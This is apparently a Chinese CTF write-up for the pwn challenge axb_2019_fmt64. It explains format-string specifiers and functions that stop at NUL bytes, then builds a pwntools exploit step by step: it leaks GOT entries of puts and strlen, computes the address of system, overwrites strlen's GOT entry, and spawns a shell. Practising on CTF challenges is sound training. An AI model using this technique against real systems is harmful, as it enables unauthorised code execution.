axb_2019_fmt64
知识点:
格式符
作用
%x
打印栈上的4字节数据(十六进制)
%s
打印栈上指针指向的字符串
%n
写已打印字符数到对应指针指向的地址
%p
打印指针值(地址)
%d
打印十进制整数
%c
输出一个字符
格式化字符串漏洞修改内存: 通过控制输出字符数来间接修改内存: 利用%n
系列占位符的 “输出计数写入” 特性,通过控制输出的字符总数,间接将目标值写入指定内存地址。 这种 “间接性” 是由格式化函数的设计决定的,也是漏洞利用的核心技巧 —— 攻击者需要精确计算输出字符数,才能让%n
写入预期的值。 (不是直接修改数值)
%c
:输出一个字符。
%n
:将当前已输出的字符总数写入指定地址。
%k$hn
:将字符总数写入第 k
个参数指向的地址(hn
表示写入 2 字节)。 零截断影响函数:
函数原型
是否受零截断
备注 / 利用提示
puts(const char *s)
✅ 会截断
最常用来泄露地址;若读入时没有 \x00
,就会把后面一大片内存一起打印出来。
printf("%s", buf)
✅ 会截断
%s
格式串遇到 \x00
停止;可用 %p
/%lx
等替代来逐字节泄露。
write(1, buf, len)
❌ 不截断
按长度写,无视 \x00
;若程序里有 write
,可直接泄露任意长度。
send()
/ sendto()
❌ 不截断
网络题里常见,同样按长度发送。
read()
/ recv()
❌ 不截断
读入端函数,不受零截断影响,但读入后传给 puts
/printf
就又受限了。
strlen()
✅ 遇 \x00
停
计算长度函数,本身不输出,但经常被用来给 write
传长度,若可控可绕过零截断。
strcpy(dst, src)
strncpy(dst, src, n)
✅ 受 \x00
影响
复制类函数,遇 \x00
停止,可导致数据截断或溢出。
准备 64位,开了 NX
分析 main函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 int __fastcall __noreturn main(int argc, const char **argv, const char **envp) { char s[272]; // [rsp+10h] [rbp-250h] BYREF char format[312]; // [rsp+120h] [rbp-140h] BYREF unsigned __int64 v5; // [rsp+258h] [rbp-8h] v5 = __readfsqword(0x28u); setbuf(stdout, 0LL); setbuf(stdin, 0LL); setbuf(stderr, 0LL); puts( "Hello,I am a computer Repeater updated.\n" "After a lot of machine learning,I know that the essence of man is a reread machine!"); puts("So I'll answer whatever you say!"); while ( 1 ) { alarm(3u); memset(s, 0, 0x101uLL); memset(format, 0, 0x12CuLL); printf("Please tell me:"); read(0, s, 0x100uLL); sprintf(format, "Repeater:%s\n", s); if ( (unsigned int)strlen(format) > 0x10E ) break; printf(format); } printf("what you input is really long!"); exit(0); }
这里对输入次数没限制,每次输入有一个 3 秒的计时 先一个输入给参数 s
,然后用 sprintf
把输入拼接到 Repeater:
后给参数 format
下面虽然有 if
判断,但限制大小给的很大,所以这里限制不大 最后输出,存在格式化字符串漏洞
思路: 这里有格式化字符串漏洞,可以多次触发,没直接的连接点 所以我们要利用格式化字符串泄露函数地址,得到 libc
基址和 system
函数地址 最后劫持 strlen
的 got
表为 system
来获得 shell
(这里我是只能用 strlen
函数才打得通,所以就这了(苦笑)) 先获得偏移(写入地址) 参数位置为8 接下来利用格式化字符串泄露函数地址,我原本想的是泄露 printf
函数的地址,但泄露失败
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import * context(os='linux',log_level = 'debug') # io=remote('node5.buuoj.cn',25625) io= process('/home/motaly/axb') elf = ELF('/home/motaly/axb') libc=ELF('/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') printf_got = elf.got["printf"] # gdb.attach(io,'b *0x400957\nc') payload=b'%9$saaaa'+p64(printf_got) io.sendlineafter(b'Please tell me:',payload) io.recvuntil(b'Repeater:') printf_addr=u64(io.recv(6).ljust(8,b'\x00')) # printf_addr=u64(io.recvuntil(b"\x7f").ljust(8,b"\x00")) log.success('printf_addr: '+hex(printf_addr))
数据解释:b'%9$saaaa'
这个写在第8个位置,9 是后面加上的 p64(printf_got)
在第 9 个位置,我们对函数地址进行泄露 断点在 printf
处 进行 gdb
调试 查看栈情况 stack 50
发现是零截断的问题,所以这里泄露常用的 puts
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import * context(os='linux',log_level = 'debug') io=remote('node5.buuoj.cn',29696) # io= process('/home/motaly/axb') elf = ELF('/home/motaly/axb') libc=ELF('/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11_amd64/libc-2.23.so') strlen_got=elf.got['strlen'] puts_got = elf.got["puts"] # gdb.attach(io,'b *0x400957\nc') payload=b'%9$saaaa'+p64(puts_got) io.sendlineafter(b'Please tell me:',payload) io.recvuntil(b'Repeater:') puts_addr=u64(io.recv(6).ljust(8,b'\x00')) # printf_addr=u64(io.recvuntil(b"\x7f").ljust(8,b"\x00")) log.success('puts_addr: '+hex(puts_addr)) payload=b'%9$saaaa'+p64(strlen_got) io.sendlineafter(b'Please tell me:',payload) io.recvuntil(b'Repeater:') strlen_addr=u64(io.recv(6).ljust(8,b'\x00')) # printf_addr=u64(io.recvuntil(b"\x7f").ljust(8,b"\x00")) log.success('strlen_addr: '+hex(strlen_addr))
最后劫持 strlen
函数,这里一起泄露 strlen
函数的地址方便最后修改的时候查看 有了函数地址,我们就可以得到 libc
基址和 system
函数地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 strlen_got=elf.got['strlen'] puts_got = elf.got["puts"] # gdb.attach(io,'b *0x400957\nc') payload=b'%9$saaaa'+p64(puts_got) io.sendlineafter(b'Please tell me:',payload) io.recvuntil(b'Repeater:') puts_addr=u64(io.recv(6).ljust(8,b'\x00')) # printf_addr=u64(io.recvuntil(b"\x7f").ljust(8,b"\x00")) log.success('puts_addr: '+hex(puts_addr)) payload=b'%9$saaaa'+p64(strlen_got) io.sendlineafter(b'Please tell me:',payload) io.recvuntil(b'Repeater:') strlen_addr=u64(io.recv(6).ljust(8,b'\x00')) # printf_addr=u64(io.recvuntil(b"\x7f").ljust(8,b"\x00")) log.success('strlen_addr: '+hex(strlen_addr)) libc_base=puts_addr-libc.sym['puts'] log.success('libc_base: ' + hex(libc_base)) system_addr=libc_base+libc.sym['system'] log.success('system_addr: ' + hex(system_addr))
最后劫持 strlen
函数的 got
表为 system
函数地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 strlen_got=elf.got['strlen'] puts_got = elf.got["puts"] # gdb.attach(io,'b *0x400957\nc') payload=b'%9$saaaa'+p64(puts_got) io.sendlineafter(b'Please tell me:',payload) io.recvuntil(b'Repeater:') puts_addr=u64(io.recv(6).ljust(8,b'\x00')) payload=b'%9$saaaa'+p64(strlen_got) io.sendlineafter(b'Please tell me:',payload) io.recvuntil(b'Repeater:') strlen_addr=u64(io.recv(6).ljust(8,b'\x00')) libc_base=puts_addr-libc.sym['puts'] system_addr=libc_base+libc.sym['system'] log.success('puts_addr: '+hex(puts_addr)) log.success('strlen_addr: '+hex(strlen_addr)) log.success('libc_base: ' + hex(libc_base)) log.success('system_addr: ' + hex(system_addr)) highs = (system_addr >> 16) & 0xffff lows = system_addr & 0xffff log.success('highs: ' + hex(highs)) log.success('lows: ' + hex(lows))
主要的不同在后三个字节,所以这里把最后两字节算低字节,用 hn
修改两个字节,倒数三四个字节当作高字节,用 hhn
修改一个字节
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 strlen_got=elf.got['strlen'] puts_got = elf.got["puts"] # gdb.attach(io,'b *0x400957\nc') payload=b'%9$saaaa'+p64(puts_got) io.sendlineafter(b'Please tell me:',payload) io.recvuntil(b'Repeater:') puts_addr=u64(io.recv(6).ljust(8,b'\x00')) payload=b'%9$saaaa'+p64(strlen_got) io.sendlineafter(b'Please tell me:',payload) io.recvuntil(b'Repeater:') strlen_addr=u64(io.recv(6).ljust(8,b'\x00')) libc_base=puts_addr-libc.sym['puts'] system_addr=libc_base+libc.sym['system'] log.success('puts_addr: '+hex(puts_addr)) log.success('strlen_addr: '+hex(strlen_addr)) log.success('libc_base: ' + hex(libc_base)) log.success('system_addr: ' + hex(system_addr)) highs = (system_addr >> 16) & 0xffff lows = system_addr & 0xffff log.success('highs: ' + hex(highs)) log.success('lows: ' + hex(lows)) payload0=(f'%{highs-9}c%12$hhn'+f'%{lows - highs}c%13$hn').encode() print(len(payload0)) payload=payload0.ljust(32, b"a") + p64(strlen_got+2) + p64(strlen_got) io.sendlineafter(b'Please tell me:',payload)
这里构造的长度为 27,我们填充满 32 字节,正好 4 个位置,从 8 开始,最后的 p64(strlen_got+2)
和 p64(strlen_got)
正好在 12 和 13 位 最后因为拼接,所以给一个 ';/bin/sh\\x00'
加上分号,让他按顺序执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 strlen_got=elf.got['strlen'] puts_got = elf.got["puts"] # gdb.attach(io,'b *0x400957\nc') payload=b'%9$saaaa'+p64(puts_got) io.sendlineafter(b'Please tell me:',payload) io.recvuntil(b'Repeater:') puts_addr=u64(io.recv(6).ljust(8,b'\x00')) payload=b'%9$saaaa'+p64(strlen_got) io.sendlineafter(b'Please tell me:',payload) io.recvuntil(b'Repeater:') strlen_addr=u64(io.recv(6).ljust(8,b'\x00')) libc_base=puts_addr-libc.sym['puts'] system_addr=libc_base+libc.sym['system'] log.success('puts_addr: '+hex(puts_addr)) log.success('strlen_addr: '+hex(strlen_addr)) log.success('libc_base: ' + hex(libc_base)) log.success('system_addr: ' + hex(system_addr)) highs = (system_addr >> 16) & 0xffff lows = system_addr & 0xffff log.success('highs: ' + hex(highs)) log.success('lows: ' + hex(lows)) payload0=(f'%{highs-9}c%12$hhn'+f'%{lows - highs}c%13$hn').encode() print(len(payload0)) payload=payload0.ljust(32, b"a") + p64(strlen_got+2) + p64(strlen_got) io.sendlineafter(b'Please tell me:',payload) io.sendlineafter(b'Please tell me:',b';/bin/sh\x00')
脚本 (不知道为什么这个打通的挺不稳定的,一会可以,一会不可以,奇奇怪怪的)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwn import * context(os='linux',log_level = 'debug',arch='amd64') io=remote('node5.buuoj.cn',29696) # io= process('/home/motaly/axb') elf = ELF('/home/motaly/axb') libc=ELF('/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11_amd64/libc-2.23.so') strlen_got=elf.got['strlen'] puts_got = elf.got["puts"] # gdb.attach(io,'b *0x400957\nc') payload=b'%9$saaaa'+p64(puts_got) io.sendlineafter(b'Please tell me:',payload) io.recvuntil(b'Repeater:') puts_addr=u64(io.recv(6).ljust(8,b'\x00')) payload=b'%9$saaaa'+p64(strlen_got) io.sendlineafter(b'Please tell me:',payload) io.recvuntil(b'Repeater:') strlen_addr=u64(io.recv(6).ljust(8,b'\x00')) libc_base=puts_addr-libc.sym['puts'] system_addr=libc_base+libc.sym['system'] log.success('puts_addr: '+hex(puts_addr)) log.success('strlen_addr: '+hex(strlen_addr)) log.success('libc_base: ' + hex(libc_base)) log.success('system_addr: ' + hex(system_addr)) highs = (system_addr >> 16) & 0xffff lows = system_addr & 0xffff log.success('highs: ' + hex(highs)) log.success('lows: ' + hex(lows)) payload0=(f'%{highs-9}c%12$hhn'+f'%{lows - highs}c%13$hn').encode() print(len(payload0)) payload=payload0.ljust(32, b"a") + p64(strlen_got+2) + p64(strlen_got) io.sendlineafter(b'Please tell me:',payload) io.sendlineafter(b'Please tell me:',b';/bin/sh\x00') io.interactive()